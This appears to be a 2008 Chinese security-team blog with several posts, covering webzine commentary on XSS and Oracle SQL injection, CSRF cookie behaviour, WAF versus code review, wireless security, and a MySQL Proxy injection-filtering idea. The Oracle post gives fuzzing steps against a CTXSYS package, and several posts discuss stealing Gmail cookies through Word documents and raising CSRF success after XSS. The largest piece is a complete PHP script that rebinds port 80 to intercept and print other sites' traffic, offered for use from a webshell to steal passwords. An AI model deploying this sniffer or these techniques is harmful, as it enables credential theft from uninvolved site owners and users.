2008年6月24日星期二

[Tips]学习WebZine [0x02]后乱谈

by Superhei
2008-06-25
http://www.ph4nt0m.org

这里学习了下自己看的明白的PP

[PSTZine 0x02][0x07][乱谈之XSS攻击检测]

这个文章里提到了几个有趣的漏洞:

1.phpinfo() 4096字节后的xss,这个漏洞要是不去分析php的源代码是没有办法发现的,很多人看应用程序的原代码只去分析溢出等问题,但是忽视了应用上的安全, 这个还是要看发现者的意识,SE大牛分析php代码就不放过应用上的安全。而且就web程序的漏洞现在主要是看细节,而发现这些细节最好的办法就是分析 php本身的代码

2.word脚本执行漏洞,对于这个漏洞在hi群里很多人都测试过,没办法创建对象,所以不可以通过wsh等对象执行命 令,但是他可以访问url,这个我们就可以做很多事情[相当于一个csrf],比如引入一个gmail的xss的url,当你打开一个doc文件的时候 你的gmail的cookie就被别人偷了。就这个类型的程序利用还有很多比如pdf 比如最近有人发的[rar自解压文的挂马]... 可以做个应用程序的crsf攻击专题?以后的那些主动防御是不是还要防偷cookie的小偷呢?:)

[这里顺便说下我对csrf的理解,csrf可以认为是一种漏洞类型,但是同时也是一种攻击方式]

[PSTZine 0x02][0x06][深入挖掘ORACLE内部SQLINJECTION]

对于kj这个文章我绝对标题把"挖掘"改为"分析"或者"调试"更加好,对于挖掘他这个文章里提到的方法是不科学的,因为他"挖掘"的前提是用了人家公布的POC/EXP。

对于ORACLE里的SQLINJECTION的基本有2个方法[文章也有提到]

1.白盒[文章也没有提到具体的]

在John McDonald大牛的blog上有篇文章:http://taossa.com/index.php/2006/12/26/stored-procedure-sql-injection-cheat-sheet/

对于白盒来说我们要grep的关键词:

he best way to find these is to do a case insensitive substring search for the following: EXEC, DBMS_SQL, and OPEN.

2.黑盒
在kj文章最后提到的fuzz那才是挖掘

这里说一下ORACLE简单的FUZZ,可以查询ALL_OBJECTS找出所有的package function
procedure与ALL_ARGUMENTS关联获取执行对象的参数类型!

简单介绍具体的几个步骤如下:

a.根据object_name得到package的object_id

SQL> select object_id,object_type from all_objects where object_name='DRILOAD';

OBJECT_ID OBJECT_TYPE
---------- ------------------
30192 PACKAGE
30243 PACKAGE BODY

b.根据object_id得到函数/过程名

SQL> SELECT DISTINCT PROCEDURE$ FROM SYS.ARGUMENT$ WHERE OBJ#=30192;

PROCEDURE$
------------------------------
BUILD_DML
RESOLVE_SQE
VALIDATE_POL
VALIDATE_STMT

c.得到具体PROCEDURE$的参数个数及类型

SQL> select distinct position#,argument,pls_type from sys.argument$ where obj#=30192 and PROCEDURE$='VALIDATE_STMT';

POSITION# ARGUMENT PLS_TYPE
---------- ------------------------------ ------------------------------
1 SQLSTMT VARCHAR2

d.构造fuzz数据

SQL> CALL CTXSYS.DRILOAD.VALIDATE_STMT('''');
CALL CTXSYS.DRILOAD.VALIDATE_STMT('''')
*
ERROR 位于第 1 行:
ORA-06510: PL/SQL: 无法处理的用户自定义异常事件
ORA-06512: 在"CTXSYS.DRILOAD", line 42
ORA-01756: 括号内的字符串没有正确结束

上面的步骤只是简单介绍,具体实现起来还有很多细节要注意[如得到package的所有者如DRILOAD的所有者CTXSYS],花哥已经根据上面的原理实现了一个fuzz,效果还是有的 如:http://superhei.blogbus.com/logs/20127819.html

另外:对于kj文里的“当然最好是审核一下FUZZ的对象EXECUTE权限是否为PUBLIC”,这个是没有必要的,而且对于高权限用户的PACKAGE还是有意义的。对于oracle里的注射在web上利用一直都是围绕着2个问题:

a."权限提升"
b."执行多语句"

但 是oracle里的function调用是很复杂的,比如一个sys的A()里有权限,但是它对PUBLIC没有execuite权限,但是可以被另外一 个B()调用,B()的EXECUTE权限是PUBLIC,所以一样可能被利用,而且对于web上的inj 很多连接用户的权限很高,通过注射可以执行多语句。


[PSTZine 0x02][0x04][浅析浏览器的跨域安全问题]

这个文章比较有意思,首先介绍这个文章的一些8挂:

首 先要从bluehat还是Manuel Caballero的一个题目讲起,由于bluehat的变态[不公布ppt等资料],但是在bluehat的新闻介绍里无意发了个pic[这个pic我 现在找不到了],被sdc看到了 于是从那个pic给出点信息开始研究测试,终于有了:http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html, 接下来就是pdp的介绍推广:http://www.gnucitizen.org/blog/ghost-busters/。对于有价值的信息我是很愿 意共同享受的,于是我看到他们的blog 并发在了hi群里 一起测试讨论。于是qz测试后有了这个文章,并且有了新的进展 :)。 不过最后我在和参加过bluehat的朋友讨论,但是这个朋友告诉我:Manuel Caballero在bluehat上讲的根本不是这个问题 .....

最后bs下ms的恶心,为了得到bluehat的ppt[主要是web的],我找了很多朋友,只有kuza55分享了他的 ppt,还问了kuza55和sowhat是否有其他的ppt,但是他们告诉我ms不让给出来他们的资料,于是我偷偷的email给Manuel Caballero没有回音,不过我还没死心,由于近年来国内暴了很多ms的0day,导致ms可能想和国内的安全人员拉拉关系于是出现了几个ms 安全部门的中国人。于是我想通过他们偷偷share下bluehat的ppt,但是最后的结果还是失败....

对于这个文章在技术方面的关键主要有2个:

a. {toString:function(){return "some-string";} 看了pdp的blog上可以发现这个方法是通过大量测试 得到的结果 ?
b.javasript: 这个就是qz文里的关键利用,因为qz的测试分析思路是值得学习的 :)


[PSTZine 0x02][0x09][如何识别高级的验证码]

对于这个文章里的技术我是不怎么懂的,这里主要是感慨一下,文中的利用主要都是在gui下识别,对于csrf 和web自动化估计是没太大意义 :(


对于其他的文章不在我搞的范围........

rar-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_5dbhzqggj_b

word-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_3ncwwzjs6_b




[Tips]浏览器cookie安全机制和csrf

by axis
2008-06-25
http://www.ph4nt0m.org

这两天hi群里在讨论关于csrf实现条件的问题,茄子指出了在IE环境下,csrf只是针对session cookie有效,而本地保存的stored cookie在变成当前IE的session cookie前,跨域提交是会被IE阻断的。

通俗来讲就是如果浏览器进程中没有缓存过第三方站点,没访问过,那么使用img/ iframe 标签等跨域访问第三方站点是会被阻断发送cookie的。 这时候的CSRF就会仅仅只是get或者post请求,而不会发送cookie,那么很多需要 验证的提交都会失败。

实际上这里是浏览器的一个cookie安全机制,不光是img 、 iframe等标签,直接 跨域 post或者 get都可能出现这种问题 (使用session cookie和 stored cookie的区别)。

我以前做的一个xss测试, xss成功了3000多次,但 csrf 的一个跨子域的请求却只成功了 100多次, 当时总找不到原因,以为是payload稳定性的问题,现在想来应该就是这个跨域提交被阻断cookie的原因了。

那么根据设想,为了提高csrf的成功率,我们可以在xss后使用一次 window.open(),让用户开个小窗先访问下需要csrf的域,刷出来 一个session cookie,然后就可以csrf了。 不过这个想法还需要测试,而且也不够隐蔽。

PS: Firefox不存在这种阻断cookie的机制

茄子的tips:
http://xss.betaslife.com/blog/?p=24

[Tips]WAF(Web Application Firewall) and Code Review

by axis
2008-06-25
http://www.ph4nt0m.org

最近对于这两种方法的争论挺多的。

实际上,在我思想中,企业搞web安全,这是两个主攻方向了。(PCI标准也这么要求)

我习惯上把WAF归纳为过滤层,就是在应用的架构中有这么一个 filter-tier, 他起的作用是过滤和净化危险输入。在架构中的位置可以是多样化的:单独的硬件、apache mod、应用里面捕获输入;

WAF如果开启阻断功能的话,就可以起到虚拟补丁的功能。在这个意义上来说,可以减小程序员的工作量。

而WAF的最大阻力则是:
1. 误报
2. 对性能的影响
3. 稳定性

而AppSec这些公司推的WAF都属于硬件产品。包括mod-security等,他们都自己有一套漏洞规则,然后卖给甲方。这也是他们产品难推的原 因,尽管你吹的天花乱坠,但实际上敢开启block模式的估计不会有多少,实际上jeremiah grossman自己也承认了,并引用了一段话

“When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then.”


要了解所有的东西,就要从一开始就上WAF,对于很多半路出家搞安全的网站来说,这显然是很难接受的。

所以真正要实现好的WAF,只能是自己开发,自己部署,通过“学习模式”,来消除误报。而且自己的东西,是可控的,至少从心理上来说是可控的。

WAF的模式是有一定的作用,但不是万能的,也没厂商吹嘘的那么玄乎。这玩意治标不治本,无法带给你的网站安全; 只有有人不断专业维护的WAF,才能从一定程度上说可以带给你安全。这就是我一直在强调的: 安全是一个持续的过程。

与WAF对应的另外一个方向是code review。 code review也有很多方向,不是随便从网上抄个规范来就行的。 同样的,code security review可以做为sdl中的一个核心过程,在软件工程中发扬光大。 每个企业都需要找到自己代码的特色,从而定制出符合自己特色的代码规范,和代码漏洞扫描工具。 这些思想也是我在 《安全幻想曲2008》中曾经强调过的,可惜从CB的反馈看来,真正能看懂我那篇paper背后意思的人的恐怕不多。

code review 是一个治本的过程,也需要长期坚持。不过review code的成本会比较大,有人力也有时间的投入,还有更多的沟通成本。code review的方向 应该是尽可能降低对个人经验的依赖,这就需要有优秀的规范和规则。

在应用安全里, WAF和code review应该是相辅相成的。但是我看现在不少厂商为了牟利,鼓吹WAF的优越性,让WAF走上了歪路,企业冤枉钱花了,却只是一个花架子的安全,一戳就破。如何正确应用,才是甲方安全人员需要思考的问题。

先瞎扯这么多,这两个话题可以讲很深,以后再慢慢一一侃来。

[Tips]安全部门和运维部门

by 云舒
2008-06-25
http://www.ph4nt0m.org

前几天在《无线网络安全之三》中 提到了运维部门KPI的问题,这里重新把它拉出来,顺便说点别的。太多的网络维护人员,鉴于网络稳定性在KPI中占的比重,不愿意对网络做一点点无害的改 动。只要目前的网络没有瘫痪,他们可能就不愿意去做改进了,更愿意保持现在的样子继续运行。后期安全策略的推进,真的是一个很困难的事情。安全应该在设计 当初就考虑进去,可是没有企业在创业当初就去做这方面的投入吧,毕竟安全对创业公司来说是一种投入和伤害。让步一点的说,尽可能早的考虑进去,在公司网络 规模还不是过于庞大杂乱的时候,开始部署安全策略,已经是很有远见的战略了。

对于一般的运维部门经理或者总监,安全不在他们的考虑范畴之内。他们在意的安全,仅仅是数据是否有恰当的备份,机房的电力是否足够充裕,温度是否足够低, 负载均衡设备是否能够支撑,带宽是否足够快等等。从广义的安全来说,这些确实也是安全部门应该考虑的问题。但是毕竟这只是广义安全中的一部分,而且是不被 安全部门的上级老板认为是安全部门成绩的部分,因为这部分是由运维部门来实施的。这里安全部门和运维部门就会有冲突了,运维部门考虑的安全是广义安全的一 部分,他们愿意实施的也是这一部分,而这一部分恰好是狭义的安全所不关注的,不被安全部门上级老板认为属于安全部门成绩的那一部分。另一方面,被上面老板 认为是安全部门成绩的那一部分狭义的安全,安全需要努力去做的那一部分,恰好和运维的KPI某种意义上相冲突。

简单的说,狭义安全和运维是冲突的。运维喜欢做的,是狭义安全不重视的。安全喜欢做的,是运维反感的。解决这个问题,一般来说是依靠沟通。不过我总觉得沟 通不是长久之计,而且不同公司不同的风格,沟通起来更为困难。而且沟通是一个主动性的东西,需要强制性的东西来保障才是最可靠的。我觉得组织结构是比较好 的办法,也就是说让运维的KPI和安全的KPI归结到一个人的身上。系统管理,网络运维,IT内网,安全部门,四个部门统统归结到一个大部门的下面,大部 门总监的业绩,既包括运维,也包括安全,因此,他自然会考虑如何去协调安全和运维的比重。

2008年6月18日星期三

[News]Ph4nt0m Security Team WebZine 0x02

by axis
2008-06-18
http://www.ph4nt0m.org

今天,我们非常欣喜的宣布我们完成了第二期webzine的制作。这是许多人共同努力的
结果,汇聚了大家的心血。

在本期中,文章数比第一期多出了一倍,涉及的话题更广泛。同时我们开辟了一个新的
栏目:interview。以后每期都会对安全界的一些知名人士进行一些采访,让大家能够更加近
距离的了解牛人。

本期中有不少文章是投稿的作品,比如lisl03的关于绕过主防的shellcode、xy7的关于
xss检测的文章等。也是他们的支持,才使得webzine更有活力。

本期特别推荐的文章是《如何识别高级的验证码》,这篇文章可能对安全人员来说有点
难度,但是验证码的对抗却是以后非常重要的一个发展方向。此文主要值得我们借鉴的是怎
样的设计才是一种优秀的验证码。

还有rayhac(茄子宝)写的关于浏览器跨域问题的paper,他根据ghost页面的问题扩展讨
论开来,简单谈了谈浏览器跨域漏洞,最后更是给出了一个ie跨域0day。 同时他也将在blog
上发布另外一篇姊妹篇的文章,进一步完善他的跨域exploit。

提到茄子,不能不提新近成立的安全组织80sec,这是剑心创立的一个专注于web安全的
小团体,组织比较灵活,更近于社区的形式,本期摘录了80sec的两位成员的paper,感谢80sec
为webzine做出的贡献。

好文章很多,不一一点评了,把时间留给诸位看官。任何问题(包括投稿)可以联系
root@ph4nt0m.org

最后让我们欢迎PST的新成员dummy。

http://webzine.ph4nt0m.org

镜像地址(Mirror Address):
http://www.icylife.net/pstzine/0x02/index.html
http://www.80sec.com/pstzine/0x02/index.html
http://www.neeao.com/pstzine/0x02/index.html
http://www.cncert.net/pstzine/0x02/index.html

2008年6月12日星期四

[Tips]无线网络安全之三

by 云舒
2008-06-12
http://www.ph4nt0m.org

很久之前写过两篇关于无线网络的文章,一篇是《企业无线局域网安全》,一篇是《无线路由折腾之一》,简单介绍了目前企业无线局域网设计中常用的安全标准,以及认证方面的风险。但是限于一些原因,我没有给出任何网络设计上面比较详细的方案描述,这里想稍微写一点,点到即止。而且即时知道了这里的一点架构方面的东西,也是无法攻击的,就像公开的加密算法一样。

06年初的时候,负责设计了我的第一个无线网络安全方案。由于实际用户群比较窄,只针对公司内部人员,主要是技术人员,因此在安全方面看重的是身份认证的 强度和数据传输加密防篡改的强度,而不去过多的关注用户授权。因此,在身份认证方面,我选择了动态口令认证,即所谓一次性密码,保证了非法用户无法接入网 络。数据传输方面,没有使用比较常用的AES或者TKIP,而是使用了IPSec VPN通道的方式。用户使用通用密码连接到AP之后,各自处于只有自己一个用户的独立隔离的VLAN中,且无法访问除VPN Server之外的任何服务器,这里的VPN Server可以是无线交换机提供的VPN终结功能。只有手动发起VPN连接通过动态口令认证,才可以访问到内部资源。

最近设计了一个新的无线网络安全方案,跟上面的颇有不同。主要是用户群比较杂乱,多个部门多重身份需要使用无线网络。在后期要对用户能够做比较好的审计, 而对于认证和传输没有太高的要求,可以稍微放松。因此,这里使用了ACS服务器结合后台的Radius服务器来做身份认证,根据不同的用户名选择不同的认 证方式,并根据AD信息划分动态的VLAN赋予相应的权限。传输加密方面,则使用了WPA2标准中的AES-CCMP算法。对比上面的方案,在认证和加密 传输安全性上面略有下降,而授权以及审计功能,有所增强。

设计这个新的方案的时候,还有一个小插曲,刚好是木桶理论的印证。有人要求给一个特定的群体所有网络的访问权限,并且给这个群体使用一个比较简单的统一的 密码。对于这样的需求,很显然,是整个设计中最薄弱的一环,也就是说实施了这个需求,其实上面的所有安全措施都是无效的。因为防线上有一个缺口,攻击者就 可以从缺口绕过整个防线,避开了堡垒对后面进行攻击。

目前来说,设计无线网络安全方案没有太多可以选择或者设计的余地,主要的只是和各部门无休止的沟通,需求很难整理清楚。这里插一句题外话,其实可以写一篇 新的文章,但是觉得不太好,就插到这里。那就是KPI的危害。太多的网络维护人员,鉴于网络稳定性在KPI中占的比重,不愿意对网络做一点点无害的改动。 只要目前的网络没有瘫痪,他们可能就不愿意去做改进了,更愿意保持现在的样子继续运行。后期安全策略的推进,真的是一个很困难的事情。安全应该在设计当初 就考虑进去,可是没有企业在创业当初就去做这方面的投入吧,毕竟安全对创业公司来说是一种投入和伤害。让步一点的说,尽可能早的考虑进去,在公司网络规模 还不是过于庞大杂乱的时候,开始部署安全策略,已经是很有远见的战略了。

上面都是安全策略方面的问题,现在略微说说攻击。攻击就拿WEP和WPA来举例,因为目前就这么几个常用的标准。WEP是最简单的安全措施,使用RC4算 法对数据加密传输,密钥就是连接网络时候输入的口令。一个固定的字符串,同时做身份认证和加密密钥使用。显然安全性是非常差的,只要攻击者抓到一定数量的 包,64位的WEP密钥,现在的普通PC大概5-10分钟就能计算出密钥,也就是网络密码来。而足够数量的WEP包,如果用户在上网下载或者看网页之类 的,大概10分钟之内就能够抓到。也就是说64位密钥的WEP,在20分钟之内就能够被破解,而128位密钥的也只是稍微好一点。

就WPA而言,个人用户常用WPA-PSK认证,而企业则一般使用WPA-EAP认证。这是因为企业可以部署Radius服务器提供认证服务,所以可以使 用EAP/802.1x认证协议。而个人用户就那么几台电脑,只能使用WPA-PSK(预共享密钥)进行认证了。WPA和WEP的区别在于,它认证口令和 数据传输加密密钥是分开的,加密密钥在认证通过后协商生成,而且在传输一定的数据包后,会重新协商生成新的密钥。因此,抓取了再多的数据包,也是不能算出 口令的,最多能够解出当前加密的密钥,得到明文数据传输。那么对WPA的口令破解只有一种方法,就是抓取到登陆时候的数据包。对于已经登陆的用户,可以通 过发送特殊的错误数据包,让AP断开该用户的连接,要求用户重新登陆,这个时候攻击者抓取到完整的认证报之后,就可以进行破解工作了。这里的破解,也只不 过是通过字典,或者暴力破解的方法来匹配抓取到的密码HASH,能否成功完全取决于密码的强度,也许只要1分钟,也许要1万年。

最后,不少人喜欢使用隐藏SSID的方法来保护无线网络安全,事实上这是很不可靠的,隐藏的SSID可以很容易的通过无线嗅探得到。

因此,WEP协议是肯定不安全的,容易破解。而WPA认证和加密都提供了足够的安全性,认证是否会被破解完全取决于密码本身的强度。宣称WPA被破解的文章,是不负责任的说法,因为相同意义上,除了一次性口令外的任何认证协议都可以使用同样的方法破解。

破解无线网络的工具,最有名的自然是BackTrack了,它是一个修改过的linux系统,一些攻击工具包的集合,攻击无线网络非常的方便,官方地址是:http://www.remote-exploit.org/backtrack.html。另外一套很全的工具包是aircrack系列,包括WEP,WPA-PSK数据包的捕获破解等多个小工具,地址为:http://www.aircrack-ng.org/。另有一个公司是http://www.wildpackets.com/,不过似乎没有免费的,都要银子。

甲方做了这么多年,攻击方面只能写到这种程度了,再详细就没意思了,而且我的兴趣也只在这个文章的前半部分。手把手的攻击,去搜索吧,大把的文章。

2008年6月10日星期二

[Tips]利用php来嗅探劫持服务器数据

by 云舒
2008-06-10
http://www.ph4nt0m.org

前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。 其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。

需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。

代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是 每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还 好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。

PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:

<?php
class select
{
var $sockets;

// 构造函数
function select($sockets)
{
$this->sockets = array();

foreach($sockets as $socket)
{
$this->add($socket);
}
}

function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}

// 利用临时数组来删除数组中的元素
function remove($remove_socket)
{
$tmp_sockets = array();

foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}

$this->sockets = $tmp_sockets;
}

// 检查socket数组是否可读,传入超时时间,返回socket数组
function can_read($timeout)
{
$read = $this->sockets;
socket_select(
$read, $write = NULL, $except = NULL, $timeout );
return $read;
}

// 检查socket数组是否可写,传入超时时间,返回socket数组
function can_write($timeout)
{
$write = $this->sockets;
socket_select(
$read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}

// 网页不超时
set_time_limit(0);

// 即时输出数据,不缓冲
ob_end_clean();
ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}

$listen_ip = $_GET["listen_ip"];
$listen_port = 80;

// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 设置重复绑定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明确指定绑定IP地址,优先获取数据
socket_bind($listen_sock, $listen_ip, $listen_port);

// 开始监听
socket_listen ($listen_sock);

echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";

// 创建socket数组,使用select来轮询
$check_socks = array($listen_sock);

// 映射客户端socket和服务端socket
// $socket_maps1将客户端socket作为key
// $socket_maps2将服务端socket作为key
// 以内存换速度,并且方便下面的搜索

$socket_maps1 = array( );
$socket_maps2 = array( );

// 实例化select类
$select = new select( $check_socks );

while(true)
{
/*
print_r( $socket_maps );
print "<br />";
*/
// select轮询,超时2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可读,说明有人连接上来了
if( $socket == $listen_sock )
{
// 接受新连接,并加入到轮训数组
$new_client = socket_accept($listen_sock);
$select->add($new_client);

socket_getpeername(
$new_client, $ip, $port);
echo "New client connected: $ip, $port<br />";

// 建立到真实服务器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect(
$server_sock,"127.0.0.1", $listen_port);

// 建立真实服务器socket和真实客户端socket之间的映射关系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;

// 添加到select轮询中
$select->add($server_sock);

// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
//select->remove( $listen_sock );

}

// 其他socket可读,表示有数据需要中转
else
{
// 读取数据,失败则从轮询socket中删除,并关闭socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close(
$socket );
$select->remove( $socket );
echo "client disconnected.<br />";

continue;
}

// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
if( in_array( $socket, array_keys($socket_maps1) ) )
{
//echo "readed from client.<br />";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close(
$socket );
socket_close(
$socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.<br />";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close(
$socket );
socket_close(
$socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
}
}
}

?>



这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。

2008年6月4日星期三

[Tips]MySQL Proxy(解决注入的另一思路)

by 云舒
2008-06-05
http://www.ph4nt0m.org

What is MySQL Proxy?

MySQL Proxy is a simple program that sits between your client and MySQL server(s) that can monitor, analyze or transform their communication. Its flexibility allows for unlimited uses; common ones include: load balancing; failover; query analysis; query filtering and modification; and many more.

可以看到,MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。这样一种扩展,就给了我让他做别的事情的思路——防止注入攻击。

启动MySQL Proxy的时候,加载一个Lua脚本,对每一个进入的query或者insert之类的语句做一次安全检查,甚至替换查询中的某些内容,这样在程序员的 程序中忘记了过滤参数的情况下,还有最后一道防线可用。而且由于是Lua这样的动态脚本语言,在开发,修正,部署方面都会有极大的灵活性。当然,或许会担 心性能方面的问题,那么在前面加memcached吧,或者干脆用c来写这样的扩展,毕竟MySQL Proxy是开源的,而且有清晰的接口。

MySQL Proxy提供给Lua的接口主要有以下几个函数:

connect_server() — 这个函数每次client连接的时候被调用,可以用这个函数来处理负载均衡,决定当前的请求发给那个后台的服务器,如果没有指定这个函数,那么就会采用简单的轮询机制。

read_handshake() — 这个函数在server返回初始握手信息时被调用,可以调用这个函数在验证信息发给服务器前进行额外的检查。

read_auth() — client发送验证信息给服务器的时候会调用这个函数。

read_auth_result() — 服务器验证信息返回后调用这个函数。

read_query() — 每次client发送查询请求函数的时候被调用,可以用这个函数进行查询语句的预处理,过滤掉非预期的查询等等,这个是最常用的函数。

read_query_result() — 查询结果返回是调用的函数,可以进行结果集处理。

可以看到,自由发挥之后还是有很多其它的事情可以做的。不知道现在有没有公司这么做,或者说做过这方面的尝试。我只是写一个小思路,可行不可行, 等以后再去检验吧。最近牙疼的厉害,唉,小时候不注意,现在治疗保护都来不及了。以后有了自己的宝宝,我会吸取教训的,呵呵,与君共勉。

参考资料:
http://www.maycode.com/index.php/hotspot/35-linux/740-mysql.html
http://forge.mysql.com/wiki/MySQL_Proxy